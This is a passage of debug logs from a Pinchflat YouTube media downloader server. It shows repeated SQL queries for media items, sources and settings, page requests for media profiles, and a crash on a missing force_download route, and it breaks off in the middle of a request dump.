s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 22:17:22.406 [debug] QUERY OK source="media_items" db=0.8ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:22.406 [info] Sent 200 in 6ms 22:17:22.407 [debug] QUERY OK source="sources" db=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.407 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [7] 22:17:22.408 [debug] QUERY OK source="media_items" db=0.7ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:22.409 [debug] QUERY OK source="sources" db=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 22:17:22.410 [debug] QUERY OK source="media_items" db=0.5ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [7] 22:17:22.411 [debug] QUERY OK source="media_items" db=0.7ms idle=3.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [7, 10, 0] 22:17:22.412 [info] Sent 200 in 15ms 22:17:22.421 [info] GET /download_logs 22:17:22.421 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 22:17:22.421 [info] Sent 200 in 436Β΅s 22:17:22.425 [info] GET /media_profiles/new 22:17:22.425 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 22:17:22.426 [debug] QUERY OK source="settings" db=0.2ms idle=18.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.426 [debug] QUERY OK source="settings" db=0.1ms idle=17.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.426 [debug] QUERY OK source="settings" db=0.1ms idle=16.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.427 [debug] QUERY OK source="settings" db=0.2ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.428 [info] GET /media_profiles/1/ 22:17:22.428 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:17:22.428 [debug] QUERY OK source="settings" db=0.7ms idle=16.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.429 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.7ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:22.430 [debug] QUERY OK source="sources" db=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 22:17:22.430 [info] Sent 200 in 5ms 22:17:22.431 [debug] QUERY OK source="settings" db=0.7ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.431 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.432 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.433 [info] GET /media_profiles/3/ 22:17:22.433 [info] Sent 200 in 4ms 22:17:22.433 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 22:17:22.433 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:22.434 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [3] 22:17:22.434 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.434 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.435 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.436 [info] Sent 200 in 2ms 22:17:22.454 [info] GET /media_profiles/1/edit 22:17:22.454 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:17:22.454 [debug] QUERY OK source="media_profiles" db=0.2ms idle=20.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:17:22.455 [debug] QUERY OK source="settings" db=0.1ms idle=20.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.455 [debug] QUERY OK source="settings" db=0.2ms idle=20.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.455 [debug] QUERY OK source="settings" db=0.1ms idle=20.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.457 [info] Sent 200 in 3ms 22:17:22.651 [info] GET /media_profiles/3/edit 22:17:22.651 [info] GET /media_profiles/2 22:17:22.651 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:17:22.651 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 22:17:22.652 [debug] QUERY OK source="media_profiles" db=0.3ms idle=196.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 22:17:22.652 [debug] QUERY OK source="media_profiles" db=0.4ms idle=196.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:22.652 [debug] QUERY OK source="settings" db=0.1ms idle=196.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.652 [debug] QUERY OK source="sources" db=0.2ms idle=196.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 22:17:22.652 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.653 [debug] QUERY OK source="settings" db=0.2ms idle=77.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.653 [debug] QUERY OK source="settings" db=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.653 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.653 [debug] QUERY OK source="settings" db=0.4ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.655 [info] Sent 200 in 4ms 22:17:22.656 [info] Sent 200 in 5ms 22:17:22.684 [info] GET /media_profiles/2/ 22:17:22.684 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:17:22.685 [debug] QUERY OK source="media_profiles" db=0.4ms idle=31.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 22:17:22.685 [debug] QUERY OK source="sources" db=0.2ms idle=32.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 22:17:22.685 [debug] QUERY OK source="settings" db=0.1ms idle=32.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.685 [debug] QUERY OK source="settings" db=0.1ms idle=32.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.686 [debug] QUERY OK source="settings" db=0.0ms idle=32.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.687 [info] Sent 200 in 3ms 22:17:22.690 [info] GET /media_profiles/2/edit 22:17:22.691 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 22:17:22.692 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 22:17:22.692 [debug] QUERY OK source="settings" db=0.2ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.693 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.693 [debug] QUERY OK source="settings" db=0.2ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.695 [info] Sent 200 in 4ms 22:17:22.696 [info] GET /sources/7/media/14035/edit 22:17:22.696 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "14035", "source_id" => "7"} Pipelines: [:browser] 22:17:22.697 [debug] QUERY OK source="media_items" db=0.4ms idle=10.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14035] 22:17:22.697 [debug] QUERY OK source="settings" db=0.1ms idle=5.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.698 [debug] QUERY OK source="settings" db=0.2ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.698 [debug] QUERY OK source="settings" db=0.2ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.699 [info] Sent 200 in 3ms 22:17:22.718 [info] GET /sources/7/media/14035/force_download 22:17:22.719 [debug] QUERY OK source="settings" db=0.3ms idle=25.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.719 [debug] QUERY OK source="settings" db=0.1ms idle=22.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:22.720 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:22.722 [error] #PID<0.37143.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 16) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/7/media/14035/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/14035/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => 